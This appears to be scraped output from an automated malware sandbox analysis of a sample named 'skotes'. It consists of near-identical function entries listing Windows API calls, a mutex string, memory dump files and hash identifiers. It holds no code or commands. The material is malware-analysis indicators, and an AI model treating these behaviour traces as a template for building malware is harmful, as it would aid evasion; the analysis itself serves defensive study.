Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: b0a82457e10740ad1667ffda050b0e0ea9a8de86ae82c0ef86a3dc41beb07b93
Instruction ID: f93cd53014ed61bb2f9078269de6b87bd8643c3902745a7155c051cc34fd37b1
Opcode Fuzzy Hash: b0a82457e10740ad1667ffda050b0e0ea9a8de86ae82c0ef86a3dc41beb07b93
Instruction Fuzzy Hash: 513157316002089BEB0D9BB8DD9EFADB662EFE1318F64821CE054A73C5C775DD808692

Function 001CA54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001CA550
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: db7c668ad1258c3155094352381198ecee43b521102640d225b262a3576a1055
Instruction ID: 9705b25c45f66235708773fa4027432c63b1a6a99aa7577f447985f1dfca5f50
Opcode Fuzzy Hash: db7c668ad1258c3155094352381198ecee43b521102640d225b262a3576a1055
Instruction Fuzzy Hash: 59313731A001089BEB09DBB8D99AFADB762EFE131CF64861CE454A73D1C739DD808752

Function 001CA682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001CA685
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: 1379786cb1e55a51987814c30c22ddbae4398c0a12ad49f1e5e9a5917511899d
Instruction ID: 8f13b6cfb3a035ee376a20f391b148c2d0ada899cefa0fc0a0df7013c30248da
Opcode Fuzzy Hash: 1379786cb1e55a51987814c30c22ddbae4398c0a12ad49f1e5e9a5917511899d
Instruction Fuzzy Hash: A73128316002489BEB09DBB8DD99FADB772EFE1318F64861CE454A73D1C736D9808692

Function 001CA7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001CA7BA
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: 47e42286421b0c62d9b63ebbd7aaa1ef3eb78ec3d28365d196819ba13618998d
Instruction ID: 81af8d7a72177dd3b2077a3cb34d011c1aac7a69b36b92c83a91375a9de79c7c
Opcode Fuzzy Hash: 47e42286421b0c62d9b63ebbd7aaa1ef3eb78ec3d28365d196819ba13618998d
Instruction Fuzzy Hash: 5A311331A002089BEB09DB78DD9ABADB772AFE1318F60861CE414A72D1D736DD818652

Function 001CA960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
